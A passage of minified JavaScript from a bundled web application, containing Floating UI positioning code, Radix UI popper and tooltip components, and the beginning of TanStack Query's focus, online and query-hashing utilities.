ps({width:d,height:f,x:a,y:u})}function cx(e){let{elements:t,rect:n,offsetParent:r,strategy:o}=e;const i=o==="fixed",s=At(r),l=t?Fs(t.floating):!1;if(r===s||l&&i)return n;let a={scrollLeft:0,scrollTop:0},u=Tn(1);const d=Tn(0),f=jt(r);if((f||!f&&!i)&&((Yr(r)!=="body"||Zo(s))&&(a=$s(r)),jt(r))){const c=qn(r);u=kr(r),d.x=c.x+r.clientLeft,d.y=c.y+r.clientTop}return{width:n.width*u.x,height:n.height*u.y,x:n.x*u.x-a.scrollLeft*u.x+d.x,y:n.y*u.y-a.scrollTop*u.y+d.y}}function dx(e){return Array.from(e.getClientRects())}function Ma(e,t){const n=$s(e).scrollLeft;return t?t.left+n:qn(At(e)).left+n}function fx(e){const t=At(e),n=$s(e),r=e.ownerDocument.body,o=Ge(t.scrollWidth,t.clientWidth,r.scrollWidth,r.clientWidth),i=Ge(t.scrollHeight,t.clientHeight,r.scrollHeight,r.clientHeight);let s=-n.scrollLeft+Ma(e);const l=-n.scrollTop;return xt(r).direction==="rtl"&&(s+=Ge(t.clientWidth,r.clientWidth)-o),{width:o,height:i,x:s,y:l}}function px(e,t){const n=qe(e),r=At(e),o=n.visualViewport;let i=r.clientWidth,s=r.clientHeight,l=0,a=0;if(o){i=o.width,s=o.height;const u=Wu();(!u||u&&t==="fixed")&&(l=o.offsetLeft,a=o.offsetTop)}return{width:i,height:s,x:l,y:a}}function hx(e,t){const n=qn(e,!0,t==="fixed"),r=n.top+e.clientTop,o=n.left+e.clientLeft,i=jt(e)?kr(e):Tn(1),s=e.clientWidth*i.x,l=e.clientHeight*i.y,a=o*i.x,u=r*i.y;return{width:s,height:l,x:a,y:u}}function Td(e,t,n){let r;if(t==="viewport")r=px(e,n);else if(t==="document")r=fx(At(e));else if(wt(t))r=hx(t,n);else{const o=dm(e);r={...t,x:t.x-o.x,y:t.y-o.y}}return ps(r)}function fm(e,t){const n=Rn(e);return n===t||!wt(n)||Br(n)?!1:xt(n).position==="fixed"||fm(n,t)}function mx(e,t){const n=t.get(e);if(n)return n;let r=Uo(e,[],!1).filter(l=>wt(l)&&Yr(l)!=="body"),o=null;const i=xt(e).position==="fixed";let s=i?Rn(e):e;for(;wt(s)&&!Br(s);){const l=xt(s),a=Hu(s);!a&&l.position==="fixed"&&(o=null),(i?!a&&!o:!a&&l.position==="static"&&!!o&&["absolute","fixed"].includes(o.position)||Zo(s)&&!a&&fm(e,s))?r=r.filter(d=>d!==s):o=l,s=Rn(s)}return t.set(e,r),r}function vx(e){let{element:t,boundary:n,rootBoundary:r,strategy:o}=e;const s=[...n==="clippingAncestors"?Fs(t)?[]:mx(t,this._c):[].concat(n),r],l=s[0],a=s.reduce((u,d)=>{const f=Td(t,d,o);return u.top=Ge(f.top,u.top),u.right=bn(f.right,u.right),u.bottom=bn(f.bottom,u.bottom),u.left=Ge(f.left,u.left),u},Td(t,l,o));return{width:a.right-a.left,height:a.bottom-a.top,x:a.left,y:a.top}}function gx(e){const{width:t,height:n}=cm(e);return{width:t,height:n}}function yx(e,t,n){const r=jt(t),o=At(t),i=n==="fixed",s=qn(e,!0,i,t);let l={scrollLeft:0,scrollTop:0};const a=Tn(0);if(r||!r&&!i)if((Yr(t)!=="body"||Zo(o))&&(l=$s(t)),r){const g=qn(t,!0,i,t);a.x=g.x+t.clientLeft,a.y=g.y+t.clientTop}else o&&(a.x=Ma(o));let u=0,d=0;if(o&&!r&&!i){const g=o.getBoundingClientRect();d=g.top+l.scrollTop,u=g.left+l.scrollLeft-Ma(o,g)}const f=s.left+l.scrollLeft-a.x-u,c=s.top+l.scrollTop-a.y-d;return{x:f,y:c,width:s.width,height:s.height}}function Rl(e){return xt(e).position==="static"}function Nd(e,t){if(!jt(e)||xt(e).position==="fixed")return null;if(t)return t(e);let n=e.offsetParent;return At(e)===n&&(n=n.ownerDocument.body),n}function pm(e,t){const n=qe(e);if(Fs(e))return n;if(!jt(e)){let o=Rn(e);for(;o&&!Br(o);){if(wt(o)&&!Rl(o))return o;o=Rn(o)}return n}let r=Nd(e,t);for(;r&&sx(r)&&Rl(r);)r=Nd(r,t);return r&&Br(r)&&Rl(r)&&!Hu(r)?n:r||lx(e)||n}const wx=async function(e){const t=this.getOffsetParent||pm,n=this.getDimensions,r=await n(e.floating);return{reference:yx(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function xx(e){return xt(e).direction==="rtl"}const Sx={convertOffsetParentRelativeRectToViewportRelativeRect:cx,getDocumentElement:At,getClippingRect:vx,getOffsetParent:pm,getElementRects:wx,getClientRects:dx,getDimensions:gx,getScale:kr,isElement:wt,isRTL:xx};function Ex(e,t){let n=null,r;const o=At(e);function i(){var l;clearTimeout(r),(l=n)==null||l.disconnect(),n=null}function s(l,a){l===void 0&&(l=!1),a===void 0&&(a=1),i();const{left:u,top:d,width:f,height:c}=e.getBoundingClientRect();if(l||t(),!f||!c)return;const g=ki(d),y=ki(o.clientWidth-(u+f)),v=ki(o.clientHeight-(d+c)),x=ki(u),p={rootMargin:-g+"px "+-y+"px "+-v+"px "+-x+"px",threshold:Ge(0,bn(1,a))||1};let m=!0;function S(C){const P=C[0].intersectionRatio;if(P!==a){if(!m)return s();P?s(!1,P):r=setTimeout(()=>{s(!1,1e-7)},1e3)}m=!1}try{n=new IntersectionObserver(S,{...p,root:o.ownerDocument})}catch{n=new IntersectionObserver(S,p)}n.observe(e)}return s(!0),i}function Cx(e,t,n,r){r===void 0&&(r={});const{ancestorScroll:o=!0,ancestorResize:i=!0,elementResize:s=typeof ResizeObserver=="function",layoutShift:l=typeof IntersectionObserver=="function",animationFrame:a=!1}=r,u=Qu(e),d=o||i?[...u?Uo(u):[],...Uo(t)]:[];d.forEach(h=>{o&&h.addEventListener("scroll",n,{passive:!0}),i&&h.addEventListener("resize",n)});const f=u&&l?Ex(u,n):null;let c=-1,g=null;s&&(g=new ResizeObserver(h=>{let[p]=h;p&&p.target===u&&g&&(g.unobserve(t),cancelAnimationFrame(c),c=requestAnimationFrame(()=>{var m;(m=g)==null||m.observe(t)})),n()}),u&&!a&&g.observe(u),g.observe(t));let y,v=a?qn(e):null;a&&x();function x(){const h=qn(e);v&&(h.x!==v.x||h.y!==v.y||h.width!==v.width||h.height!==v.height)&&n(),v=h,y=requestAnimationFrame(x)}return n(),()=>{var h;d.forEach(p=>{o&&p.removeEventListener("scroll",n),i&&p.removeEventListener("resize",n)}),f==null||f(),(h=g)==null||h.disconnect(),g=null,a&&cancelAnimationFrame(y)}}const kx=nx,Px=rx,bx=Jw,Tx=ix,Nx=ex,Rd=Zw,Rx=ox,_x=(e,t,n)=>{const r=new Map,o={platform:Sx,...n},i={...o.platform,_c:r};return qw(e,t,{...o,platform:i})};var $i=typeof document<"u"?w.useLayoutEffect:w.useEffect;function hs(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(typeof e=="function"&&e.toString()===t.toString())return!0;let n,r,o;if(e&&t&&typeof e=="object"){if(Array.isArray(e)){if(n=e.length,n!==t.length)return!1;for(r=n;r--!==0;)if(!hs(e[r],t[r]))return!1;return!0}if(o=Object.keys(e),n=o.length,n!==Object.keys(t).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(t,o[r]))return!1;for(r=n;r--!==0;){const i=o[r];if(!(i==="_owner"&&e.$$typeof)&&!hs(e[i],t[i]))return!1}return!0}return e!==e&&t!==t}function hm(e){return typeof window>"u"?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function _d(e,t){const n=hm(e);return Math.round(t*n)/n}function _l(e){const t=w.useRef(e);return $i(()=>{t.current=e}),t}function Ox(e){e===void 0&&(e={});const{placement:t="bottom",strategy:n="absolute",middleware:r=[],platform:o,elements:{reference:i,floating:s}={},transform:l=!0,whileElementsMounted:a,open:u}=e,[d,f]=w.useState({x:0,y:0,strategy:n,placement:t,middlewareData:{},isPositioned:!1}),[c,g]=w.useState(r);hs(c,r)||g(r);const[y,v]=w.useState(null),[x,h]=w.useState(null),p=w.useCallback(k=>{k!==P.current&&(P.current=k,v(k))},[]),m=w.useCallback(k=>{k!==b.current&&(b.current=k,h(k))},[]),S=i||y,C=s||x,P=w.useRef(null),b=w.useRef(null),N=w.useRef(d),D=a!=null,j=_l(a),$=_l(o),I=_l(u),W=w.useCallback(()=>{if(!P.current||!b.current)return;const k={placement:t,strategy:n,middleware:c};$.current&&(k.platform=$.current),_x(P.current,b.current,k).then(_=>{const z={..._,isPositioned:I.current!==!1};A.current&&!hs(N.current,z)&&(N.current=z,qo.flushSync(()=>{f(z)}))})},[c,t,n,$,I]);$i(()=>{u===!1&&N.current.isPositioned&&(N.current.isPositioned=!1,f(k=>({...k,isPositioned:!1})))},[u]);const A=w.useRef(!1);$i(()=>(A.current=!0,()=>{A.current=!1}),[]),$i(()=>{if(S&&(P.current=S),C&&(b.current=C),S&&C){if(j.current)return j.current(S,C,W);W()}},[S,C,W,j,D]);const Q=w.useMemo(()=>({reference:P,floating:b,setReference:p,setFloating:m}),[p,m]),U=w.useMemo(()=>({reference:S,floating:C}),[S,C]),K=w.useMemo(()=>{const k={position:n,left:0,top:0};if(!U.floating)return k;const _=_d(U.floating,d.x),z=_d(U.floating,d.y);return l?{...k,transform:"translate("+_+"px, "+z+"px)",...hm(U.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:_,top:z}},[n,l,U.floating,d.x,d.y]);return w.useMemo(()=>({...d,update:W,refs:Q,elements:U,floatingStyles:K}),[d,W,Q,U,K])}const jx=e=>{function t(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:e,fn(n){const{element:r,padding:o}=typeof e=="function"?e(n):e;return r&&t(r)?r.current!=null?Rd({element:r.current,padding:o}).fn(n):{}:r?Rd({element:r,padding:o}).fn(n):{}}}},Ax=(e,t)=>({...kx(e),options:[e,t]}),Mx=(e,t)=>({...Px(e),options:[e,t]}),Lx=(e,t)=>({...Rx(e),options:[e,t]}),Dx=(e,t)=>({...bx(e),options:[e,t]}),Ix=(e,t)=>({...Tx(e),options:[e,t]}),zx=(e,t)=>({...Nx(e),options:[e,t]}),Fx=(e,t)=>({...jx(e),options:[e,t]});var $x="Arrow",mm=w.forwardRef((e,t)=>{const{children:n,width:r=10,height:o=5,...i}=e;return E.jsx(Be.svg,{...i,ref:t,width:r,height:o,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:e.asChild?n:E.jsx("polygon",{points:"0,0 30,0 15,10"})})});mm.displayName=$x;var Ux=mm;function Bx(e,t=[]){let n=[];function r(i,s){const l=w.createContext(s),a=n.length;n=[...n,s];function u(f){const{scope:c,children:g,...y}=f,v=(c==null?void 0:c[e][a])||l,x=w.useMemo(()=>y,Object.values(y));return E.jsx(v.Provider,{value:x,children:g})}function d(f,c){const g=(c==null?void 0:c[e][a])||l,y=w.useContext(g);if(y)return y;if(s!==void 0)return s;throw new Error(`\`${f}\` must be used within \`${i}\``)}return u.displayName=i+"Provider",[u,d]}const o=()=>{const i=n.map(s=>w.createContext(s));return function(l){const a=(l==null?void 0:l[e])||i;return w.useMemo(()=>({[`__scope${e}`]:{...l,[e]:a}}),[l,a])}};return o.scopeName=e,[r,Vx(o,...t)]}function Vx(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(o=>({useScope:o(),scopeName:o.scopeName}));return function(i){const s=r.reduce((l,{useScope:a,scopeName:u})=>{const f=a(i)[`__scope${u}`];return{...l,...f}},{});return w.useMemo(()=>({[`__scope${t.scopeName}`]:s}),[s])}};return n.scopeName=t.scopeName,n}function Hx(e){const[t,n]=w.useState(void 0);return Xn(()=>{if(e){n({width:e.offsetWidth,height:e.offsetHeight});const r=new ResizeObserver(o=>{if(!Array.isArray(o)||!o.length)return;const i=o[0];let s,l;if("borderBoxSize"in i){const a=i.borderBoxSize,u=Array.isArray(a)?a[0]:a;s=u.inlineSize,l=u.blockSize}else s=e.offsetWidth,l=e.offsetHeight;n({width:s,height:l})});return r.observe(e,{box:"border-box"}),()=>r.unobserve(e)}else n(void 0)},[e]),t}var vm="Popper",[gm,ym]=Bx(vm),[VS,wm]=gm(vm),xm="PopperAnchor",Sm=w.forwardRef((e,t)=>{const{__scopePopper:n,virtualRef:r,...o}=e,i=wm(xm,n),s=w.useRef(null),l=yt(t,s);return w.useEffect(()=>{i.onAnchorChange((r==null?void 0:r.current)||s.current)}),r?null:E.jsx(Be.div,{...o,ref:l})});Sm.displayName=xm;var Ku="PopperContent",[Wx,Qx]=gm(Ku),Em=w.forwardRef((e,t)=>{var at,Gt,Yt,Xt,Jo,er;const{__scopePopper:n,side:r="bottom",sideOffset:o=0,align:i="center",alignOffset:s=0,arrowPadding:l=0,avoidCollisions:a=!0,collisionBoundary:u=[],collisionPadding:d=0,sticky:f="partial",hideWhenDetached:c=!1,updatePositionStrategy:g="optimized",onPlaced:y,...v}=e,x=wm(Ku,n),[h,p]=w.useState(null),m=yt(t,An=>p(An)),[S,C]=w.useState(null),P=Hx(S),b=(P==null?void 0:P.width)??0,N=(P==null?void 0:P.height)??0,D=r+(i!=="center"?"-"+i:""),j=typeof d=="number"?d:{top:0,right:0,bottom:0,left:0,...d},$=Array.isArray(u)?u:[u],I=$.length>0,W={padding:j,boundary:$.filter(Gx),altBoundary:I},{refs:A,floatingStyles:Q,placement:U,isPositioned:K,middlewareData:k}=Ox({strategy:"fixed",placement:D,whileElementsMounted:(...An)=>Cx(...An,{animationFrame:g==="always"}),elements:{reference:x.anchor},middleware:[Ax({mainAxis:o+N,alignmentAxis:s}),a&&Mx({mainAxis:!0,crossAxis:!1,limiter:f==="partial"?Lx():void 0,...W}),a&&Dx({...W}),Ix({...W,apply:({elements:An,rects:Xr,availableWidth:ei,availableHeight:qt})=>{const{width:Gs,height:Ys}=Xr.reference,xe=An.floating.style;xe.setProperty("--radix-popper-available-width",`${ei}px`),xe.setProperty("--radix-popper-available-height",`${qt}px`),xe.setProperty("--radix-popper-anchor-width",`${Gs}px`),xe.setProperty("--radix-popper-anchor-height",`${Ys}px`)}}),S&&Fx({element:S,padding:l}),Yx({arrowWidth:b,arrowHeight:N}),c&&zx({strategy:"referenceHidden",...W})]}),[_,z]=Pm(U),L=Ot(y);Xn(()=>{K&&(L==null||L())},[K,L]);const F=(at=k.arrow)==null?void 0:at.x,Y=(Gt=k.arrow)==null?void 0:Gt.y,le=((Yt=k.arrow)==null?void 0:Yt.centerOffset)!==0,[He,Z]=w.useState();return Xn(()=>{h&&Z(window.getComputedStyle(h).zIndex)},[h]),E.jsx("div",{ref:A.setFloating,"data-radix-popper-content-wrapper":"",style:{...Q,transform:K?Q.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:He,"--radix-popper-transform-origin":[(Xt=k.transformOrigin)==null?void 0:Xt.x,(Jo=k.transformOrigin)==null?void 0:Jo.y].join(" "),...((er=k.hide)==null?void 0:er.referenceHidden)&&{visibility:"hidden",pointerEvents:"none"}},dir:e.dir,children:E.jsx(Wx,{scope:n,placedSide:_,onArrowChange:C,arrowX:F,arrowY:Y,shouldHideArrow:le,children:E.jsx(Be.div,{"data-side":_,"data-align":z,...v,ref:m,style:{...v.style,animation:K?void 0:"none"}})})})});Em.displayName=Ku;var Cm="PopperArrow",Kx={top:"bottom",right:"left",bottom:"top",left:"right"},km=w.forwardRef(function(t,n){const{__scopePopper:r,...o}=t,i=Qx(Cm,r),s=Kx[i.placedSide];return E.jsx("span",{ref:i.onArrowChange,style:{position:"absolute",left:i.arrowX,top:i.arrowY,[s]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[i.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[i.placedSide],visibility:i.shouldHideArrow?"hidden":void 0},children:E.jsx(Ux,{...o,ref:n,style:{...o.style,display:"block"}})})});km.displayName=Cm;function Gx(e){return e!==null}var Yx=e=>({name:"transformOrigin",options:e,fn(t){var x,h,p;const{placement:n,rects:r,middlewareData:o}=t,s=((x=o.arrow)==null?void 0:x.centerOffset)!==0,l=s?0:e.arrowWidth,a=s?0:e.arrowHeight,[u,d]=Pm(n),f={start:"0%",center:"50%",end:"100%"}[d],c=(((h=o.arrow)==null?void 0:h.x)??0)+l/2,g=(((p=o.arrow)==null?void 0:p.y)??0)+a/2;let y="",v="";return u==="bottom"?(y=s?f:`${c}px`,v=`${-a}px`):u==="top"?(y=s?f:`${c}px`,v=`${r.floating.height+a}px`):u==="right"?(y=`${-a}px`,v=s?f:`${g}px`):u==="left"&&(y=`${r.floating.width+a}px`,v=s?f:`${g}px`),{data:{x:y,y:v}}}});function Pm(e){const[t,n="center"]=e.split("-");return[t,n]}var Xx=Sm,qx=Em,Zx=km,[Us,HS]=xh("Tooltip",[ym]),Gu=ym(),bm="TooltipProvider",Jx=700,Od="tooltip.open",[e1,Tm]=Us(bm),Nm=e=>{const{__scopeTooltip:t,delayDuration:n=Jx,skipDelayDuration:r=300,disableHoverableContent:o=!1,children:i}=e,[s,l]=w.useState(!0),a=w.useRef(!1),u=w.useRef(0);return w.useEffect(()=>{const d=u.current;return()=>window.clearTimeout(d)},[]),E.jsx(e1,{scope:t,isOpenDelayed:s,delayDuration:n,onOpen:w.useCallback(()=>{window.clearTimeout(u.current),l(!1)},[]),onClose:w.useCallback(()=>{window.clearTimeout(u.current),u.current=window.setTimeout(()=>l(!0),r)},[r]),isPointerInTransitRef:a,onPointerInTransitChange:w.useCallback(d=>{a.current=d},[]),disableHoverableContent:o,children:i})};Nm.displayName=bm;var Rm="Tooltip",[WS,Bs]=Us(Rm),La="TooltipTrigger",t1=w.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,o=Bs(La,n),i=Tm(La,n),s=Gu(n),l=w.useRef(null),a=yt(t,l,o.onTriggerChange),u=w.useRef(!1),d=w.useRef(!1),f=w.useCallback(()=>u.current=!1,[]);return w.useEffect(()=>()=>document.removeEventListener("pointerup",f),[f]),E.jsx(Xx,{asChild:!0,...s,children:E.jsx(Be.button,{"aria-describedby":o.open?o.contentId:void 0,"data-state":o.stateAttribute,...r,ref:a,onPointerMove:ve(e.onPointerMove,c=>{c.pointerType!=="touch"&&!d.current&&!i.isPointerInTransitRef.current&&(o.onTriggerEnter(),d.current=!0)}),onPointerLeave:ve(e.onPointerLeave,()=>{o.onTriggerLeave(),d.current=!1}),onPointerDown:ve(e.onPointerDown,()=>{u.current=!0,document.addEventListener("pointerup",f,{once:!0})}),onFocus:ve(e.onFocus,()=>{u.current||o.onOpen()}),onBlur:ve(e.onBlur,o.onClose),onClick:ve(e.onClick,o.onClose)})})});t1.displayName=La;var n1="TooltipPortal",[QS,r1]=Us(n1,{forceMount:void 0}),Vr="TooltipContent",_m=w.forwardRef((e,t)=>{const n=r1(Vr,e.__scopeTooltip),{forceMount:r=n.forceMount,side:o="top",...i}=e,s=Bs(Vr,e.__scopeTooltip);return E.jsx(Du,{present:r||s.open,children:s.disableHoverableContent?E.jsx(Om,{side:o,...i,ref:t}):E.jsx(o1,{side:o,...i,ref:t})})}),o1=w.forwardRef((e,t)=>{const n=Bs(Vr,e.__scopeTooltip),r=Tm(Vr,e.__scopeTooltip),o=w.useRef(null),i=yt(t,o),[s,l]=w.useState(null),{trigger:a,onClose:u}=n,d=o.current,{onPointerInTransitChange:f}=r,c=w.useCallback(()=>{l(null),f(!1)},[f]),g=w.useCallback((y,v)=>{const x=y.currentTarget,h={x:y.clientX,y:y.clientY},p=a1(h,x.getBoundingClientRect()),m=u1(h,p),S=c1(v.getBoundingClientRect()),C=f1([...m,...S]);l(C),f(!0)},[f]);return w.useEffect(()=>()=>c(),[c]),w.useEffect(()=>{if(a&&d){const y=x=>g(x,d),v=x=>g(x,a);return a.addEventListener("pointerleave",y),d.addEventListener("pointerleave",v),()=>{a.removeEventListener("pointerleave",y),d.removeEventListener("pointerleave",v)}}},[a,d,g,c]),w.useEffect(()=>{if(s){const y=v=>{const x=v.target,h={x:v.clientX,y:v.clientY},p=(a==null?void 0:a.contains(x))||(d==null?void 0:d.contains(x)),m=!d1(h,s);p?c():m&&(c(),u())};return document.addEventListener("pointermove",y),()=>document.removeEventListener("pointermove",y)}},[a,d,s,u,c]),E.jsx(Om,{...e,ref:i})}),[i1,s1]=Us(Rm,{isInside:!1}),Om=w.forwardRef((e,t)=>{const{__scopeTooltip:n,children:r,"aria-label":o,onEscapeKeyDown:i,onPointerDownOutside:s,...l}=e,a=Bs(Vr,n),u=Gu(n),{onClose:d}=a;return w.useEffect(()=>(document.addEventListener(Od,d),()=>document.removeEventListener(Od,d)),[d]),w.useEffect(()=>{if(a.trigger){const f=c=>{const g=c.target;g!=null&&g.contains(a.trigger)&&d()};return window.addEventListener("scroll",f,{capture:!0}),()=>window.removeEventListener("scroll",f,{capture:!0})}},[a.trigger,d]),E.jsx(Lu,{asChild:!0,disableOutsidePointerEvents:!1,onEscapeKeyDown:i,onPointerDownOutside:s,onFocusOutside:f=>f.preventDefault(),onDismiss:d,children:E.jsxs(qx,{"data-state":a.stateAttribute,...u,...l,ref:t,style:{...l.style,"--radix-tooltip-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-tooltip-content-available-width":"var(--radix-popper-available-width)","--radix-tooltip-content-available-height":"var(--radix-popper-available-height)","--radix-tooltip-trigger-width":"var(--radix-popper-anchor-width)","--radix-tooltip-trigger-height":"var(--radix-popper-anchor-height)"},children:[E.jsx(wh,{children:r}),E.jsx(i1,{scope:n,isInside:!0,children:E.jsx(u0,{id:a.contentId,role:"tooltip",children:o||r})})]})})});_m.displayName=Vr;var jm="TooltipArrow",l1=w.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,o=Gu(n);return s1(jm,n).isInside?null:E.jsx(Zx,{...o,...r,ref:t})});l1.displayName=jm;function a1(e,t){const n=Math.abs(t.top-e.y),r=Math.abs(t.bottom-e.y),o=Math.abs(t.right-e.x),i=Math.abs(t.left-e.x);switch(Math.min(n,r,o,i)){case i:return"left";case o:return"right";case n:return"top";case r:return"bottom";default:throw new Error("unreachable")}}function u1(e,t,n=5){const r=[];switch(t){case"top":r.push({x:e.x-n,y:e.y+n},{x:e.x+n,y:e.y+n});break;case"bottom":r.push({x:e.x-n,y:e.y-n},{x:e.x+n,y:e.y-n});break;case"left":r.push({x:e.x+n,y:e.y-n},{x:e.x+n,y:e.y+n});break;case"right":r.push({x:e.x-n,y:e.y-n},{x:e.x-n,y:e.y+n});break}return r}function c1(e){const{top:t,right:n,bottom:r,left:o}=e;return[{x:o,y:t},{x:n,y:t},{x:n,y:r},{x:o,y:r}]}function d1(e,t){const{x:n,y:r}=e;let o=!1;for(let i=0,s=t.length-1;i<t.length;s=i++){const l=t[i].x,a=t[i].y,u=t[s].x,d=t[s].y;a>r!=d>r&&n<(u-l)*(r-a)/(d-a)+l&&(o=!o)}return o}function f1(e){const t=e.slice();return t.sort((n,r)=>n.x<r.x?-1:n.x>r.x?1:n.y<r.y?-1:n.y>r.y?1:0),p1(t)}function p1(e){if(e.length<=1)return e.slice();const t=[];for(let r=0;r<e.length;r++){const o=e[r];for(;t.length>=2;){const i=t[t.length-1],s=t[t.length-2];if((i.x-s.x)*(o.y-s.y)>=(i.y-s.y)*(o.x-s.x))t.pop();else break}t.push(o)}t.pop();const n=[];for(let r=e.length-1;r>=0;r--){const o=e[r];for(;n.length>=2;){const i=n[n.length-1],s=n[n.length-2];if((i.x-s.x)*(o.y-s.y)>=(i.y-s.y)*(o.x-s.x))n.pop();else break}n.push(o)}return n.pop(),t.length===1&&n.length===1&&t[0].x===n[0].x&&t[0].y===n[0].y?t:t.concat(n)}var h1=Nm,Am=_m;const m1=h1,v1=w.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(Am,{ref:r,sideOffset:t,className:Ve("z-50 overflow-hidden rounded-md border bg-popover px-3 py-1.5 text-sm text-popover-foreground shadow-md animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n}));v1.displayName=Am.displayName;var Vs=class{constructor(){this.listeners=new Set,this.subscribe=this.subscribe.bind(this)}subscribe(e){return this.listeners.add(e),this.onSubscribe(),()=>{this.listeners.delete(e),this.onUnsubscribe()}}hasListeners(){return this.listeners.size>0}onSubscribe(){}onUnsubscribe(){}},Hs=typeof window>"u"||"Deno"in globalThis;function dt(){}function g1(e,t){return typeof e=="function"?e(t):e}function y1(e){return typeof e=="number"&&e>=0&&e!==1/0}function w1(e,t){return Math.max(e+(t||0)-Date.now(),0)}function jd(e,t){return typeof e=="function"?e(t):e}function x1(e,t){return typeof e=="function"?e(t):e}function Ad(e,t){const{type:n="all",exact:r,fetchStatus:o,predicate:i,queryKey:s,stale:l}=e;if(s){if(r){if(t.queryHash!==Yu(s,t.options))return!1}else if(!Vo(t.queryKey,s))return!1}if(n!=="all"){const a=t.isActive();if(n==="active"&&!a||n==="inactive"&&a)return!1}return!(typeof l=="boolean"&&t.isStale()!==l||o&&o!==t.state.fetchStatus||i&&!i(t))}function Md(e,t){const{exact:n,status:r,predicate:o,mutationKey:i}=e;if(i){if(!t.options.mutationKey)return!1;if(n){if(Bo(t.options.mutationKey)!==Bo(i))return!1}else if(!Vo(t.options.mutationKey,i))return!1}return!(r&&t.state.status!==r||o&&!o(t))}function Yu(e,t){return((t==null?void 0:t.queryKeyHashFn)||Bo)(e)}function Bo(e){return JSON.stringify(e,(t,n)=>Da(n)?Object.keys(n).sort().reduce((r,o)=>(r[o]=n[o],r),{}):n)}function Vo(e,t){return e===t?!0:typeof e!=typeof t?!1:e&&t&&typeof e=="object"&&typeof t=="object"?!Object.keys(t).some(n=>!Vo(e[n],t[n])):!1}function Mm(e,t){if(e===t)return e;const n=Ld(e)&&Ld(t);if(n||Da(e)&&Da(t)){const r=n?e:Object.keys(e),o=r.length,i=n?t:Object.keys(t),s=i.length,l=n?[]:{};let a=0;for(let u=0;u<s;u++){const d=n?u:i[u];(!n&&r.includes(d)||n)&&e[d]===void 0&&t[d]===void 0?(l[d]=void 0,a++):(l[d]=Mm(e[d],t[d]),l[d]===e[d]&&e[d]!==void 0&&a++)}return o===s&&a===o?e:l}return t}function Ld(e){return Array.isArray(e)&&e.length===Object.keys(e).length}function Da(e){if(!Dd(e))return!1;const t=e.constructor;if(t===void 0)return!0;const n=t.prototype;return!(!Dd(n)||!n.hasOwnProperty("isPrototypeOf")||Object.getPrototypeOf(e)!==Object.prototype)}function Dd(e){return Object.prototype.toString.call(e)==="[object Object]"}function S1(e){return new Promise(t=>{setTimeout(t,e)})}function E1(e,t,n){return typeof n.structuralSharing=="function"?n.structuralSharing(e,t):n.structuralSharing!==!1?Mm(e,t):t}function C1(e,t,n=0){const r=[...e,t];return n&&r.length>n?r.slice(1):r}function k1(e,t,n=0){const r=[t,...e];return n&&r.length>n?r.slice(0,-1):r}var Xu=Symbol();function Lm(e,t){return!e.queryFn&&(t!=null&&t.initialPromise)?()=>t.initialPromise:!e.queryFn||e.queryFn===Xu?()=>Promise.reject(new Error(`Missing queryFn: '${e.queryHash}'`)):e.queryFn}var Fn,an,br,Gd,P1=(Gd=class extends Vs{constructor(){super();q(this,Fn);q(this,an);q(this,br);H(this,br,t=>{if(!Hs&&window.addEventListener){const n=()=>t();return window.addEventListener("visibilitychange",n,!1),()=>{window.removeEventListener("visibilitychange",n)}}})}onSubscribe(){T(this,an)||this.setEventListener(T(this,br))}onUnsubscribe(){var t;this.hasListeners()||((t=T(this,an))==null||t.call(this),H(this,an,void 0))}setEventListener(t){var n;H(this,br,t),(n=T(this,an))==null||n.call(this),H(this,an,t(r=>{typeof r=="boolean"?this.setFocused(r):this.onFocus()}))}setFocused(t){T(this,Fn)!==t&&(H(this,Fn,t),this.onFocus())}onFocus(){const t=this.isFocused();this.listeners.forEach(n=>{n(t)})}isFocused(){var t;return typeof T(this,Fn)=="boolean"?T(this,Fn):((t=globalThis.document)==null?void 0:t.visibilityState)!=="hidden"}},Fn=new WeakMap,an=new WeakMap,br=new WeakMap,Gd),Dm=new P1,Tr,un,Nr,Yd,b1=(Yd=class extends Vs{constructor(){super();q(this,Tr,!0);q(this,un);q(this,Nr);H(this,Nr,t=>{if(!Hs&&window.addEventListener){const n=()=>t(!0),r=()=>t(!1);return window.addEventListener("online",n,!1),window.addEventListener("offline",r,!1),()=>{window.removeEventListener("online",n),window.removeEventListener("offline",r)}}})}onSubscribe(){T(this,un)||this.setEventListener(T(this,Nr))}onUnsubscribe(){var t;this.hasListeners()||((t=T(this,un))==null||t.call(this),H(this,un,void 0))}setEventListener(t){var n;H(this,Nr,t),(n=T(this,un))==null||n.call(this),H(this,un,t(this.setOnline.bind(this)))}setOnline(t){T(this,Tr)!==t&&(H(this,Tr,t),this.listeners.forEach(r=>{r(t)}))}isOnline(){return T(this,Tr)}},Tr=new WeakMap,un=new WeakMap,Nr=new WeakMap,Yd),ms=new b1;function T1(){let e,t;const n=new Promise((o,i)=>{e=o,t=i});n.status="pending",n.catch(()=>{});function r(o){Object.assign(n,o),delete n.resolve,delete n.reject}return n.resolve=o=>{r({status:"fulfilled",value:o}),e(o)},n.reject=o=>{r({status:"rejected",reason:o}),t(o)},n}function N1(e){return Math.min(1e3*2**e,3e4)}function Im(e){return(e??"online")==="online"?ms.isOnline():!0}var zm=class extends Error{constructor(e){super("CancelledError"),this.revert=e==null?void 0:e.revert,this.silent=e==null?void 0:e.silent}};function Ol(e){return e instanceof zm}function 